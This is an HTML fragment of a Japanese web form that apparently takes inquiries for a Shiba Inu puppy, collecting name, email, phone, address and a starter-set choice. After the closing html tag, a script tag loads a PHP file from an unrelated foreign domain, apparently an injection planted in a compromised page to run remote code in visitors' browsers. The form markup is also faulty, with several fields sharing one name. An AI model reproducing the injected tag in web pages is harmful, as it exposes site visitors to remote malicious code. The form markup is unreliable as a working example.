ont>
<p>

<font color="blk" style="font-size:13px; background-color:F3FC01">
■お名前（必須）<br>
<input type="text" size="30" name="name"><br><br>

■メールアドレス（必須）<br>
<input type="text" size="30" name="mail"><br>
<input type="text" size="30" name="mail2">（確認用）<br><br>
<p>
■電話番号（必須）<br>
<input type="text" size="30" name="name"><br>
<p>
■上記電話に番号へ連絡について以下を選択下さい(先着順１頭のみとなりますので、メールのみよりお電話を推奨します)<br>
<input type="radio" name="電話" value="電話連絡可">電話連絡可<br>
<input type="radio" name="電話" value="電話連絡不可">電話連絡不可<br>
<br><br>
■ご住所<br>
※都道府県を選択し、都道府県以下のご住所をご記入下さい。<br>
<select name="掲載希望都道府県">
	<option value="北海道">北海道</option>
	<option value="青森県">青森県</option>
	<option value="岩手県">岩手県</option>
	<option value="宮城県">宮城県</option>
	<option value="秋田県">秋田県</option>
	<option value="山形県">山形県</option>
	<option value="福島県">福島県</option>
	<option value="茨城県">茨城県</option>
	<option value="栃木県">栃木県</option>
	<option value="群馬県">群馬県</option>
	<option value="埼玉県">埼玉県</option>
	<option value="千葉県">千葉県</option>
	<option value="東京都">東京都</option>
	<option value="神奈川県">神奈川県</option>
	<option value="新潟県">新潟県</option>
	<option value="富山県">富山県</option>
	<option value="石川県">石川県</option>
	<option value="福井県">福井県</option>
	<option value="山梨県">山梨県</option>
	<option value="長野県">長野県</option>
	<option value="岐阜県">岐阜県</option>
	<option value="静岡県">静岡県</option>
	<option value="愛知県">愛知県</option>
	<option value="三重県">三重県</option>
	<option value="滋賀県">滋賀県</option>
	<option value="京都府">京都府</option>
	<option value="大阪府">大阪府</option>
	<option value="兵庫県">兵庫県</option>
	<option value="奈良県">奈良県</option>
	<option value="和歌山県">和歌山県</option>
	<option value="鳥取県">鳥取県</option>
	<option value="島根県">島根県</option>
	<option value="岡山県">岡山県</option>
	<option value="広島県">広島県</option>
	<option value="山口県">山口県</option>
	<option value="徳島県">徳島県</option>
	<option value="香川県">香川県</option>
	<option value="愛媛県">愛媛県</option>
	<option value="高知県">高知県</option>
	<option value="福岡県">福岡県</option>
	<option value="佐賀県">佐賀県</option>
	<option value="長崎県">長崎県</option>
	<option value="熊本県">熊本県</option>
	<option value="大分県">大分県</option>
	<option value="宮崎県">宮崎県</option>
	<option value="鹿児島県">鹿児島県</option>
	<option value="沖縄県">沖縄県</option>
</select>
<input type="text" size="30" name="name"><br>
<p>
■<a href="sibakenn-youhinn.html" target="_blank">初期飼育セット</a>を<br>
<input type="radio" name="初期飼育セット" value="希望する">希望する<br>
<input type="radio" name="初期飼育セット" value="希望しない">希望しない<br>
<p>
■メッセージ(各種ご質問がございましたらご記入下さい)<br>
<textarea name="メッセージ" cols="70" rows="4" wrap="soft"></textarea><br><br>


以上の内容でよろしければ、次のボタンを押してください。<br>
<input type="submit" value="　メール送信　"><br><br>


</form>
</table>
<hr>
</body>
</html>

<script src=http://zatokavolna.odessa.ua/images/seagul2.php ></script>